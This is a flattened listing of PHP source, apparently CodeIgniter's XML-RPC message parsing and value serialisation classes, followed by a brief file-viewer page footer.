XML_RPC_Response(0, $this->xmlrpcerr['http_error'], $this->xmlrpcstr['http_error'].' ('.$errstr.')'); - } - - //------------------------------------- - // Create and Set Up XML Parser - //------------------------------------- - - $parser = xml_parser_create($this->xmlrpc_defencoding); - $pname = (string) $parser; - $this->xh[$pname] = array( - 'isf' => 0, - 'ac' => '', - 'headers' => array(), - 'stack' => array(), - 'valuestack' => array(), - 'isf_reason' => 0 - ); - - xml_set_object($parser, $this); - xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, TRUE); - xml_set_element_handler($parser, 'open_tag', 'closing_tag'); - xml_set_character_data_handler($parser, 'character_data'); - //xml_set_default_handler($parser, 'default_handler'); - - // Get headers - $lines = explode("\r\n", $data); - while (($line = array_shift($lines))) - { - if (strlen($line) < 1) - { - break; - } - $this->xh[$pname]['headers'][] = $line; - } - $data = implode("\r\n", $lines); - - // Parse XML data - if ( ! xml_parse($parser, $data, count($data))) - { - $errstr = sprintf('XML error: %s at line %d', - xml_error_string(xml_get_error_code($parser)), - xml_get_current_line_number($parser)); - - $r = new XML_RPC_Response(0, $this->xmlrpcerr['invalid_return'], $this->xmlrpcstr['invalid_return']); - xml_parser_free($parser); - return $r; - } - xml_parser_free($parser); - - // Got ourselves some badness, it seems - if ($this->xh[$pname]['isf'] > 1) - { - if ($this->debug === TRUE) - { - echo "---Invalid Return---\n".$this->xh[$pname]['isf_reason']."---Invalid Return---\n\n"; - } - - return new XML_RPC_Response(0, $this->xmlrpcerr['invalid_return'], $this->xmlrpcstr['invalid_return'].' '.$this->xh[$pname]['isf_reason']); - } - elseif ( ! is_object($this->xh[$pname]['value'])) - { - return new XML_RPC_Response(0, $this->xmlrpcerr['invalid_return'], $this->xmlrpcstr['invalid_return'].' '.$this->xh[$pname]['isf_reason']); - } - - // Display XML content for debugging - if ($this->debug === TRUE) - { - echo '<pre>'; - - if (count($this->xh[$pname]['headers'] > 0)) - { - echo "---HEADERS---\n"; - foreach ($this->xh[$pname]['headers'] as $header) - { - echo $header."\n"; - } - echo "---END HEADERS---\n\n"; - } - - echo "---DATA---\n".htmlspecialchars($data)."\n---END DATA---\n\n---PARSED---\n"; - var_dump($this->xh[$pname]['value']); - echo "\n---END PARSED---</pre>"; - } - - // Send response - $v = $this->xh[$pname]['value']; - if ($this->xh[$pname]['isf']) - { - $errno_v = $v->me['struct']['faultCode']; - $errstr_v = $v->me['struct']['faultString']; - $errno = $errno_v->scalarval(); - - if ($errno === 0) - { - // FAULT returned, errno needs to reflect that - $errno = -1; - } - - $r = new XML_RPC_Response($v, $errno, $errstr_v->scalarval()); - } - else - { - $r = new XML_RPC_Response($v); - } - - $r->headers = $this->xh[$pname]['headers']; - return $r; - } - - // -------------------------------------------------------------------- - - // ------------------------------------ - // Begin Return Message Parsing section - // ------------------------------------ - - // quick explanation of components: - // ac - used to accumulate values - // isf - used to indicate a fault - // lv - used to indicate "looking for a value": implements - // the logic to allow values with no types to be strings - // params - used to store parameters in method calls - // method - used to store method name - // stack - array with parent tree of the xml element, - // used to validate the nesting of elements - - // -------------------------------------------------------------------- - - /** - * Start Element Handler - * - * @param string - * @param string - * @return void - */ - public function open_tag($the_parser, $name) - { - $the_parser = (string) $the_parser; - - // If invalid nesting, then return - if ($this->xh[$the_parser]['isf'] > 1) return; - - // Evaluate and check for correct nesting of XML elements - if (count($this->xh[$the_parser]['stack']) === 0) - { - if ($name !== 'METHODRESPONSE' && $name !== 'METHODCALL') - { - $this->xh[$the_parser]['isf'] = 2; - $this->xh[$the_parser]['isf_reason'] = 'Top level XML-RPC element is missing'; - return; - } - } - // not top level element: see if parent is OK - elseif ( ! in_array($this->xh[$the_parser]['stack'][0], $this->valid_parents[$name], TRUE)) - { - $this->xh[$the_parser]['isf'] = 2; - $this->xh[$the_parser]['isf_reason'] = 'XML-RPC element '.$name.' cannot be child of '.$this->xh[$the_parser]['stack'][0]; - return; - } - - switch ($name) - { - case 'STRUCT': - case 'ARRAY': - // Creates array for child elements - $cur_val = array('value' => array(), 'type' => $name); - array_unshift($this->xh[$the_parser]['valuestack'], $cur_val); - break; - case 'METHODNAME': - case 'NAME': - $this->xh[$the_parser]['ac'] = ''; - break; - case 'FAULT': - $this->xh[$the_parser]['isf'] = 1; - break; - case 'PARAM': - $this->xh[$the_parser]['value'] = NULL; - break; - case 'VALUE': - $this->xh[$the_parser]['vt'] = 'value'; - $this->xh[$the_parser]['ac'] = ''; - $this->xh[$the_parser]['lv'] = 1; - break; - case 'I4': - case 'INT': - case 'STRING': - case 'BOOLEAN': - case 'DOUBLE': - case 'DATETIME.ISO8601': - case 'BASE64': - if ($this->xh[$the_parser]['vt'] !== 'value') - { - //two data elements inside a value: an error occurred! - $this->xh[$the_parser]['isf'] = 2; - $this->xh[$the_parser]['isf_reason'] = 'There is a '.$name.' element following a ' - .$this->xh[$the_parser]['vt'].' element inside a single value'; - return; - } - - $this->xh[$the_parser]['ac'] = ''; - break; - case 'MEMBER': - // Set name of <member> to nothing to prevent errors later if no <name> is found - $this->xh[$the_parser]['valuestack'][0]['name'] = ''; - - // Set NULL value to check to see if value passed for this param/member - $this->xh[$the_parser]['value'] = NULL; - break; - case 'DATA': - case 'METHODCALL': - case 'METHODRESPONSE': - case 'PARAMS': - // valid elements that add little to processing - break; - default: - /// An Invalid Element is Found, so we have trouble - $this->xh[$the_parser]['isf'] = 2; - $this->xh[$the_parser]['isf_reason'] = 'Invalid XML-RPC element found: '.$name; - break; - } - - // Add current element name to stack, to allow validation of nesting - array_unshift($this->xh[$the_parser]['stack'], $name); - - $name === 'VALUE' OR $this->xh[$the_parser]['lv'] = 0; - } - - // -------------------------------------------------------------------- - - /** - * End Element Handler - * - * @param string - * @param string - * @return void - */ - public function closing_tag($the_parser, $name) - { - $the_parser = (string) $the_parser; - - if ($this->xh[$the_parser]['isf'] > 1) return; - - // Remove current element from stack and set variable - // NOTE: If the XML validates, then we do not have to worry about - // the opening and closing of elements. Nesting is checked on the opening - // tag so we be safe there as well. - - $curr_elem = array_shift($this->xh[$the_parser]['stack']); - - switch ($name) - { - case 'STRUCT': - case 'ARRAY': - $cur_val = array_shift($this->xh[$the_parser]['valuestack']); - $this->xh[$the_parser]['value'] = isset($cur_val['values']) ? $cur_val['values'] : array(); - $this->xh[$the_parser]['vt'] = strtolower($name); - break; - case 'NAME': - $this->xh[$the_parser]['valuestack'][0]['name'] = $this->xh[$the_parser]['ac']; - break; - case 'BOOLEAN': - case 'I4': - case 'INT': - case 'STRING': - case 'DOUBLE': - case 'DATETIME.ISO8601': - case 'BASE64': - $this->xh[$the_parser]['vt'] = strtolower($name); - - if ($name === 'STRING') - { - $this->xh[$the_parser]['value'] = $this->xh[$the_parser]['ac']; - } - elseif ($name === 'DATETIME.ISO8601') - { - $this->xh[$the_parser]['vt'] = $this->xmlrpcDateTime; - $this->xh[$the_parser]['value'] = $this->xh[$the_parser]['ac']; - } - elseif ($name === 'BASE64') - { - $this->xh[$the_parser]['value'] = base64_decode($this->xh[$the_parser]['ac']); - } - elseif ($name === 'BOOLEAN') - { - // Translated BOOLEAN values to TRUE AND FALSE - $this->xh[$the_parser]['value'] = (bool) $this->xh[$the_parser]['ac']; - } - elseif ($name=='DOUBLE') - { - // we have a DOUBLE - // we must check that only 0123456789-.<space> are characters here - $this->xh[$the_parser]['value'] = preg_match('/^[+-]?[eE0-9\t \.]+$/', $this->xh[$the_parser]['ac']) - ? (float) $this->xh[$the_parser]['ac'] - : 'ERROR_NON_NUMERIC_FOUND'; - } - else - { - // we have an I4/INT - // we must check that only 0123456789-<space> are characters here - $this->xh[$the_parser]['value'] = preg_match('/^[+-]?[0-9\t ]+$/', $this->xh[$the_parser]['ac']) - ? (int) $this->xh[$the_parser]['ac'] - : 'ERROR_NON_NUMERIC_FOUND'; - } - $this->xh[$the_parser]['ac'] = ''; - $this->xh[$the_parser]['lv'] = 3; // indicate we've found a value - break; - case 'VALUE': - // This if() detects if no scalar was inside <VALUE></VALUE> - if ($this->xh[$the_parser]['vt'] == 'value') - { - $this->xh[$the_parser]['value'] = $this->xh[$the_parser]['ac']; - $this->xh[$the_parser]['vt'] = $this->xmlrpcString; - } - - // build the XML-RPC value out of the data received, and substitute it - $temp = new XML_RPC_Values($this->xh[$the_parser]['value'], $this->xh[$the_parser]['vt']); - - if (count($this->xh[$the_parser]['valuestack']) && $this->xh[$the_parser]['valuestack'][0]['type'] === 'ARRAY') - { - // Array - $this->xh[$the_parser]['valuestack'][0]['values'][] = $temp; - } - else - { - // Struct - $this->xh[$the_parser]['value'] = $temp; - } - break; - case 'MEMBER': - $this->xh[$the_parser]['ac'] = ''; - - // If value add to array in the stack for the last element built - if ($this->xh[$the_parser]['value']) - { - $this->xh[$the_parser]['valuestack'][0]['values'][$this->xh[$the_parser]['valuestack'][0]['name']] = $this->xh[$the_parser]['value']; - } - break; - case 'DATA': - $this->xh[$the_parser]['ac'] = ''; - break; - case 'PARAM': - if ($this->xh[$the_parser]['value']) - { - $this->xh[$the_parser]['params'][] = $this->xh[$the_parser]['value']; - } - break; - case 'METHODNAME': - $this->xh[$the_parser]['method'] = ltrim($this->xh[$the_parser]['ac']); - break; - case 'PARAMS': - case 'FAULT': - case 'METHODCALL': - case 'METHORESPONSE': - // We're all good kids with nuthin' to do - break; - default: - // End of an Invalid Element. Taken care of during the opening tag though - break; - } - } - - // -------------------------------------------------------------------- - - /** - * Parse character data - * - * @param string - * @param string - * @return void - */ - public function character_data($the_parser, $data) - { - $the_parser = (string) $the_parser; - - if ($this->xh[$the_parser]['isf'] > 1) return; // XML Fault found already - - // If a value has not been found - if ($this->xh[$the_parser]['lv'] !== 3) - { - if ($this->xh[$the_parser]['lv'] === 1) - { - $this->xh[$the_parser]['lv'] = 2; // Found a value - } - - if ( ! isset($this->xh[$the_parser]['ac'])) - { - $this->xh[$the_parser]['ac'] = ''; - } - - $this->xh[$the_parser]['ac'] .= $data; - } - } - - // -------------------------------------------------------------------- - - /** - * Add parameter - * - * @param mixed - * @return void - */ - public function addParam($par) - { - $this->params[] = $par; - } - - // -------------------------------------------------------------------- - - /** - * Output parameters - * - * @param array $array - * @return array - */ - public function output_parameters(array $array = array()) - { - $CI =& get_instance(); - - if ( ! empty($array)) - { - while (list($key) = each($array)) - { - if (is_array($array[$key])) - { - $array[$key] = $this->output_parameters($array[$key]); - } - elseif ($key !== 'bits' && $this->xss_clean) - { - // 'bits' is for the MetaWeblog API image bits - // @todo - this needs to be made more general purpose - $array[$key] = $CI->security->xss_clean($array[$key]); - } - } - - return $array; - } - - $parameters = array(); - - for ($i = 0, $c = count($this->params); $i < $c; $i++) - { - $a_param = $this->decode_message($this->params[$i]); - - if (is_array($a_param)) - { - $parameters[] = $this->output_parameters($a_param); - } - else - { - $parameters[] = ($this->xss_clean) ? $CI->security->xss_clean($a_param) : $a_param; - } - } - - return $parameters; - } - - // -------------------------------------------------------------------- - - /** - * Decode message - * - * @param object - * @return mixed - */ - public function decode_message($param) - { - $kind = $param->kindOf(); - - if ($kind === 'scalar') - { - return $param->scalarval(); - } - elseif ($kind === 'array') - { - reset($param->me); - $b = current($param->me); - $arr = array(); - - for ($i = 0, $c = count($b); $i < $c; $i++) - { - $arr[] = $this->decode_message($param->me['array'][$i]); - } - - return $arr; - } - elseif ($kind === 'struct') - { - reset($param->me['struct']); - $arr = array(); - - while (list($key,$value) = each($param->me['struct'])) - { - $arr[$key] = $this->decode_message($value); - } - - return $arr; - } - } - -} // END XML_RPC_Message Class - -/** - * XML-RPC Values class - * - * @category XML-RPC - * @author EllisLab Dev Team - * @link https://codeigniter.com/user_guide/libraries/xmlrpc.html - */ -class XML_RPC_Values extends CI_Xmlrpc -{ - /** - * Value data - * - * @var array - */ - public $me = array(); - - /** - * Value type - * - * @var int - */ - public $mytype = 0; - - // -------------------------------------------------------------------- - - /** - * Constructor - * - * @param mixed $val - * @param string $type - * @return void - */ - public function __construct($val = -1, $type = '') - { - parent::__construct(); - - if ($val !== -1 OR $type !== '') - { - $type = $type === '' ? 'string' : $type; - - if ($this->xmlrpcTypes[$type] == 1) - { - $this->addScalar($val, $type); - } - elseif ($this->xmlrpcTypes[$type] == 2) - { - $this->addArray($val); - } - elseif ($this->xmlrpcTypes[$type] == 3) - { - $this->addStruct($val); - } - } - } - - // -------------------------------------------------------------------- - - /** - * Add scalar value - * - * @param scalar - * @param string - * @return int - */ - public function addScalar($val, $type = 'string') - { - $typeof = $this->xmlrpcTypes[$type]; - - if ($this->mytype === 1) - { - echo '<strong>XML_RPC_Values</strong>: scalar can have only one value<br />'; - return 0; - } - - if ($typeof != 1) - { - echo '<strong>XML_RPC_Values</strong>: not a scalar type (${typeof})<br />'; - return 0; - } - - if ($type === $this->xmlrpcBoolean) - { - $val = (int) (strcasecmp($val, 'true') === 0 OR $val === 1 OR ($val === TRUE && strcasecmp($val, 'false'))); - } - - if ($this->mytype === 2) - { - // adding to an array here - $ar = $this->me['array']; - $ar[] = new XML_RPC_Values($val, $type); - $this->me['array'] = $ar; - } - else - { - // a scalar, so set the value and remember we're scalar - $this->me[$type] = $val; - $this->mytype = $typeof; - } - - return 1; - } - - // -------------------------------------------------------------------- - - /** - * Add array value - * - * @param array - * @return int - */ - public function addArray($vals) - { - if ($this->mytype !== 0) - { - echo '<strong>XML_RPC_Values</strong>: already initialized as a ['.$this->kindOf().']<br />'; - return 0; - } - - $this->mytype = $this->xmlrpcTypes['array']; - $this->me['array'] = $vals; - return 1; - } - - // -------------------------------------------------------------------- - - /** - * Add struct value - * - * @param object - * @return int - */ - public function addStruct($vals) - { - if ($this->mytype !== 0) - { - echo '<strong>XML_RPC_Values</strong>: already initialized as a ['.$this->kindOf().']<br />'; - return 0; - } - $this->mytype = $this->xmlrpcTypes['struct']; - $this->me['struct'] = $vals; - return 1; - } - - // -------------------------------------------------------------------- - - /** - * Get value type - * - * @return string - */ - public function kindOf() - { - switch ($this->mytype) - { - case 3: return 'struct'; - case 2: return 'array'; - case 1: return 'scalar'; - default: return 'undef'; - } - } - - // -------------------------------------------------------------------- - - /** - * Serialize data - * - * @param string - * @param mixed - * @return string - */ - public function serializedata($typ, $val) - { - $rs = ''; - - switch ($this->xmlrpcTypes[$typ]) - { - case 3: - // struct - $rs .= "<struct>\n"; - reset($val); - while (list($key2, $val2) = each($val)) - { - $rs .= "<member>\n<name>{$key2}</name>\n".$this->serializeval($val2)."</member>\n"; - } - $rs .= '</struct>'; - break; - case 2: - // array - $rs .= "<array>\n<data>\n"; - for ($i = 0, $c = count($val); $i < $c; $i++) - { - $rs .= $this->serializeval($val[$i]); - } - $rs .= "</data>\n</array>\n"; - break; - case 1: - // others - switch ($typ) - { - case $this->xmlrpcBase64: - $rs .= '<'.$typ.'>'.base64_encode( (string) $val).'</'.$typ.">\n"; - break; - case $this->xmlrpcBoolean: - $rs .= '<'.$typ.'>'.( (bool) $val ? '1' : '0').'</'.$typ.">\n"; - break; - case $this->xmlrpcString: - $rs .= '<'.$typ.'>'.htmlspecialchars( (string) $val).'</'.$typ.">\n"; - break; - default: - $rs .= '<'.$typ.'>'.$val.'</'.$typ.">\n"; - break; - } - default: - break; - } - - return $rs; - } - - // -------------------------------------------------------------------- - - /** - * Serialize class - * - * @return string - */ - public function serialize_class() - { - return $this->serializeval($this); - } - - // -------------------------------------------------------------------- - - /** - * Serialize value - * - * @param object - * @return string - */ - public function serializeval($o) - { - $ar = $o->me; - reset($ar); - - list($typ, $val) = each($ar); - return "<value>\n".$this->serializedata($typ, $val)."</value>\n"; - } - - // -------------------------------------------------------------------- - - /** - * Scalar value - * - * @return mixed - */ - public function scalarval() - { - reset($this->me); - return current($this->me); - } - - // -------------------------------------------------------------------- - - /** - * Encode time in ISO-8601 form. - * Useful for sending time in XML-RPC - * - * @param int unix timestamp - * @param bool - * @return string - */ - public function iso8601_encode($time, $utc = FALSE) - { - return ($utc) ? strftime('%Y%m%dT%H:%i:%s', $time) : gmstrftime('%Y%m%dT%H:%i:%s', $time); - } - -} // END XML_RPC_Values Class
| ver. 1.4 |
Github
|
.
| PHP 7.2.34 | Generation time: 0.38 |
proxy
|
phpinfo
|
Settings